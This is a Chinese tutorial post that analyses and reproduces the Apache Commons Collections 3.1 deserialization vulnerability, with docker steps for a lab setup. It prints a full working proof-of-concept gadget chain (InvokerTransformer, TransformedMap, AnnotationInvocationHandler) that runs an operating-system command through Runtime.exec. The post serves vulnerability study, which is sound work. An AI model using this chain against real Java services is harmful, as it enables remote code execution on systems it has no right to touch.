如何進行Apache Commons Collections反序列化漏洞分析與復現

如何進行Apache Commons Collections反序列化漏洞分析與復現，針對這個問題，這篇文章詳細介紹了相對應的分析和解答，希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。

1.1 狀態

完成漏洞挖掘條件分析、漏洞復現。

1.2 漏洞分析

存在安全缺陷的版本：Apache Commons Collections3.2.1以下，【JDK版本：1.7.0_80】Apache Maven 3.6.3。

POC核心代碼：

package com.patrilic.vul;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class EvalObject {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),//                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"})};//將transformers數組存入ChaniedTransformer這個繼承類Transformer transformerChain = new ChainedTransformer(transformers);//        transformerChain.transform(null);//創建Map并綁定transformerChainMap innerMap = new HashMap();innerMap.put("value", "value");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);//        //觸發漏洞//        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();//        onlyElement.setValue("foobar");Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);//將ins序列化ByteArrayOutputStream exp = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(exp);oos.writeObject(ins);oos.flush();oos.close();//取出序列化的數據流進行反序列化，驗證ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());ObjectInputStream ois = new ObjectInputStream(out);Object obj = (Object) ois.readObject();//    }//}}}

漏洞利用思路：

Transformer接口-實現類-InvokerTransformer（），可調用任何函數。

為實現 Runtime.getRuntime().exec(cmd)，要多次調用 transformer 并將當前返回結果作為下次輸入信息。

為調用 Runtime.getRuntime()，考慮 ConstantTransformer 類，它可直接將輸入的參數作為輸出。

ChainedTransformer 作為實現類，對于接收的Transformer 數組，采用自身的transform方法（參數是用戶輸入的）逐次處理Transformer數組對象，將其結果作為下次重復調用的輸入參數。它的 transform（）方法即可出觸發漏洞。

為尋找反序列化途徑，即讀進來數據被反序列化執行，則反向尋找可觸發ChainedTransformer 對象 .transform() 方法的途徑。

HashMap類可以鍵值對方式存儲數據，put(key，value)方法可存儲數據。

TransformedMap類的功能是存儲鍵值對并將其轉換為transform objects，decorate（）方法可創建鍵值對組，checkSetValue（）方法會觸發this.valueTransformer.transform（）語句。依次反向尋找調用 checkSetValue（）【1】，使 this.valueTransformer 為 ChainedTransformer 對象的途徑【2】。

對于【2】，TransformedMap 類的靜態方法 decorate（）可達到目標。

對于【1】，AbstractInputCheckedMapDecorator 類 MapEntry 靜態類的setValue方法會執行this.parent.checkSetValue(value)，則接下來應使this.parent為TransformedMap對象【3】。

對于【3】，正向分析POC中此段代碼：

Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();

研究可知，執行過程中多次在AbstractInputCheckedMapDecorator類中，將TransformedMap對象賦值給this.parent，返回Map.Entry對象，正好可以執行setValue（）方法，觸發漏洞。

為提升通用性，必須設法使得調用反序列化方法即觸發漏洞，因此，考慮尋找類對象滿足“重寫反序列化readObject()且執行Map類對象變量的setValue()，同時此變量可被控制賦鍵值數據”。AnnotationInvocationHandler類滿足此需求【它對Map類型的成員變量的每個條目均調用setValue()】。

Class.forName() 功能是加載類。

則再次分析，對于【1】，正向分析POC中核心代碼：

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);……Object obj = (Object) ois.readObject();

研究可知，執行過程會執行 MapEntry 靜態類的 setValue 方法，且會執行entrySet 方法使得 this.parent=TransformedMap 對象，從而觸發漏洞。

總的來說，正向的POC構造思路為：先構造 ChainedTransformer 對象，隨后創建 Map 對象，再采用 TransformedMap 類實例將 ChainedTransformer 對象保存至 Map 類對象中，再通過反射方法獲得經 Map 類對象初始化的AnnotationInvocationHandler 類實例，對其進行序列化。

1.3 docker復現

下載制作的docker鏡像，用以下命令：

docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1

設置局域網及容器ip、啟動容器，例子：

（1）自定義網絡

docker network create --subnet=192.168.10.1/24 testnet

（2）啟動docker容器

docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash

在容器【Apache-Commons-Collections】中，執行命令【java -jar commons-collections-3.1.jar】，則生成文件【CommonsCollections3.1】，如下圖。

關于如何進行Apache Commons Collections反序列化漏洞分析與復現問題的解答就分享到這里了，希望以上內容可以對大家有一定的幫助，如果你還有很多疑惑沒有解開，可以關注億速云行業資訊頻道了解更多相關知識。